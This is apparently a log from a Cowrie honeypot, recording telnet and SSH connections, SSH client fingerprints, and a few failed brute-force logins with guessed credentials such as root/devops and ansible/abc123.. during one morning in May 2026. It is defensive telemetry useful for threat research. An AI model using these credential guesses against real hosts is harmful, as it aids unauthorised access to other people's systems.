{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":49400,"dst_ip":"10.17.0.5","dst_port":23,"session":"71473483a92a","protocol":"telnet","message":"New connection: 172.233.212.110:49400 (10.17.0.5:23) [session: 71473483a92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:34.580617Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58400,"dst_ip":"159.203.135.109","dst_port":23,"session":"43773a761936","protocol":"telnet","message":"New connection: 209.126.87.217:58400 (159.203.135.109:23) [session: 43773a761936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:35.603687Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ba383599a17","protocol":"telnet","message":"New connection: 172.233.212.110:49422 (10.17.0.5:23) [session: 4ba383599a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:36.117059Z"}
{"eventid":"cowrie.session.closed","duration":32.574280738830566,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:38.560078Z","src_ip":"209.126.87.217","session":"43431ec8fc18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.960248947143555,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:38.652842Z","src_ip":"172.233.212.110","session":"56fdbfe622e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36100769042969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:39.526453Z","src_ip":"209.126.87.217","session":"5cef4699f43d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":34122,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7ecda9ef9d","protocol":"telnet","message":"New connection: 139.162.207.207:34122 (10.17.0.5:23) [session: 5e7ecda9ef9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:39.554239Z"}
{"eventid":"cowrie.session.closed","duration":30.804171085357666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:41.176450Z","src_ip":"172.233.212.110","session":"a116df1d2557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50299835205078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:41.264717Z","src_ip":"172.233.212.110","session":"90fdcae7c3ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.59825587272644,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.071556Z","src_ip":"139.162.207.207","session":"629167f88f1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":46200,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ea0ddda1de","protocol":"ssh","message":"New connection: 125.31.2.160:46200 (10.17.0.5:22) [session: 52ea0ddda1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.122022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.126644Z","src_ip":"125.31.2.160","session":"52ea0ddda1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":49434,"dst_ip":"10.17.0.5","dst_port":23,"session":"85189b1015a8","protocol":"telnet","message":"New connection: 172.233.212.110:49434 (10.17.0.5:23) [session: 85189b1015a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.165551Z"}
{"eventid":"cowrie.session.closed","duration":42.76730990409851,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.239215Z","src_ip":"139.162.207.207","session":"5b9ac0016086","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.351211Z","src_ip":"125.31.2.160","session":"52ea0ddda1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.935449600219727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:42.708709Z","src_ip":"172.233.212.110","session":"939d2553ea4b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"devops","message":"login attempt [root/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:43.256187Z","src_ip":"125.31.2.160","session":"52ea0ddda1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":46580,"dst_ip":"10.17.0.5","dst_port":23,"session":"8217430fc9fe","protocol":"telnet","message":"New connection: 172.233.212.110:46580 (10.17.0.5:23) [session: 8217430fc9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:43.798506Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.476680Z","src_ip":"125.31.2.160","session":"52ea0ddda1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.5661461353302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.503364Z","src_ip":"172.233.212.110","session":"3cf648b02467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41242,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c19dbd1c04","protocol":"ssh","message":"New connection: 159.203.92.129:41242 (159.203.135.109:22) [session: 59c19dbd1c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.703405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.708006Z","src_ip":"159.203.92.129","session":"59c19dbd1c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.713421Z","src_ip":"159.203.92.129","session":"59c19dbd1c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc123..","message":"login attempt [ansible/abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:44.732688Z","src_ip":"159.203.92.129","session":"59c19dbd1c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:45.742774Z","src_ip":"159.203.92.129","session":"59c19dbd1c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"48088d14f5b6","protocol":"telnet","message":"New connection: 172.233.212.110:46590 (10.17.0.5:23) [session: 48088d14f5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:48.739605Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6bfd861854","protocol":"telnet","message":"New connection: 209.126.87.217:51570 (159.203.135.109:23) [session: 6a6bfd861854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:49.184318Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c335d524db","protocol":"telnet","message":"New connection: 172.233.212.110:46596 (10.17.0.5:23) [session: a7c335d524db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:50.739996Z"}
{"eventid":"cowrie.session.closed","duration":33.60888338088989,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:51.091437Z","src_ip":"172.233.212.110","session":"13cb26c497c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.959333419799805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:52.200283Z","src_ip":"209.126.87.217","session":"cd4df896f895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356348037719727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:52.505301Z","src_ip":"172.233.212.110","session":"9362b37e064a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715024948120117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:53.181137Z","src_ip":"172.233.212.110","session":"fd431f0737fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.550089359283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:54.825741Z","src_ip":"172.233.212.110","session":"7bdcfef28e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72545337677002,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:55.012250Z","src_ip":"209.126.87.217","session":"7cb0ab2e0443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16584229469299,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:55.767300Z","src_ip":"172.233.212.110","session":"ec9641c8e89c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.58298897743225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:56.779051Z","src_ip":"172.233.212.110","session":"a91479cb7533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452791690826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:57.096112Z","src_ip":"172.233.212.110","session":"a8faf07b24bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059829711914062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:59.958672Z","src_ip":"209.126.87.217","session":"40a2184173ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.56254458427429,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:04.825243Z","src_ip":"139.162.207.207","session":"2ccbc9dd032c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823224544525146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:05.379745Z","src_ip":"172.233.212.110","session":"b7ba8a481ad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14035081863403,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:06.720885Z","src_ip":"172.233.212.110","session":"71473483a92a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.801433086395264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:07.405024Z","src_ip":"209.126.87.217","session":"43773a761936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.916409492492676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:08.033337Z","src_ip":"172.233.212.110","session":"4ba383599a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":53852,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf14c31265f","protocol":"telnet","message":"New connection: 172.233.212.110:53852 (10.17.0.5:23) [session: 3cf14c31265f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:08.088656Z"}
{"eventid":"cowrie.session.closed","duration":42.50413799285889,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:13.591178Z","src_ip":"139.162.207.207","session":"eda3585be9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.710774421691895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:14.264717Z","src_ip":"139.162.207.207","session":"5e7ecda9ef9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57514,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6cb85dfa1bb","protocol":"telnet","message":"New connection: 172.233.212.110:57514 (10.17.0.5:23) [session: c6cb85dfa1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:14.317609Z"}
{"eventid":"cowrie.session.closed","duration":32.200008392333984,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:14.365427Z","src_ip":"172.233.212.110","session":"85189b1015a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195138454437256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:14.993522Z","src_ip":"172.233.212.110","session":"8217430fc9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74027991294861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:21.924478Z","src_ip":"209.126.87.217","session":"6a6bfd861854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"e425d1b31968","protocol":"telnet","message":"New connection: 172.233.212.110:57528 (10.17.0.5:23) [session: e425d1b31968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:22.207256Z"}
{"eventid":"cowrie.session.closed","duration":32.135549545288086,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:22.875423Z","src_ip":"172.233.212.110","session":"a7c335d524db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57518,"dst_ip":"10.17.0.5","dst_port":23,"session":"adc7836b68da","protocol":"telnet","message":"New connection: 172.233.212.110:57518 (10.17.0.5:23) [session: adc7836b68da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:23.030887Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7fbcc08e6c","protocol":"telnet","message":"New connection: 139.162.207.207:44748 (10.17.0.5:23) [session: ed7fbcc08e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:23.106202Z"}
{"eventid":"cowrie.session.closed","duration":34.3949089050293,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:23.134376Z","src_ip":"172.233.212.110","session":"48088d14f5b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57740,"dst_ip":"10.17.0.5","dst_port":23,"session":"e316a7258aa1","protocol":"telnet","message":"New connection: 172.233.212.110:57740 (10.17.0.5:23) [session: e316a7258aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:24.529859Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":42658,"dst_ip":"10.17.0.5","dst_port":23,"session":"16474f09a3fe","protocol":"telnet","message":"New connection: 139.162.207.207:42658 (10.17.0.5:23) [session: 16474f09a3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:25.885105Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":58832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c34e092d485","protocol":"telnet","message":"New connection: 209.126.87.217:58832 (159.203.135.109:23) [session: 6c34e092d485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:26.193279Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35244,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b8a75ffe49","protocol":"ssh","message":"New connection: 159.203.92.129:35244 (159.203.135.109:22) [session: 37b8a75ffe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:29.286201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:29.291168Z","src_ip":"159.203.92.129","session":"37b8a75ffe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:29.306123Z","src_ip":"159.203.92.129","session":"37b8a75ffe49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc@123","message":"login attempt [ansible/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:29.319162Z","src_ip":"159.203.92.129","session":"37b8a75ffe49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6dc1b2610f6","protocol":"telnet","message":"New connection: 172.233.212.110:57756 (10.17.0.5:23) [session: b6dc1b2610f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:29.958148Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:30.325794Z","src_ip":"159.203.92.129","session":"37b8a75ffe49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57766,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa2e151bd46","protocol":"telnet","message":"New connection: 172.233.212.110:57766 (10.17.0.5:23) [session: bfa2e151bd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:30.393097Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":40856,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc17df9088a","protocol":"telnet","message":"New connection: 139.162.207.207:40856 (10.17.0.5:23) [session: efc17df9088a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:33:34.453777Z"}
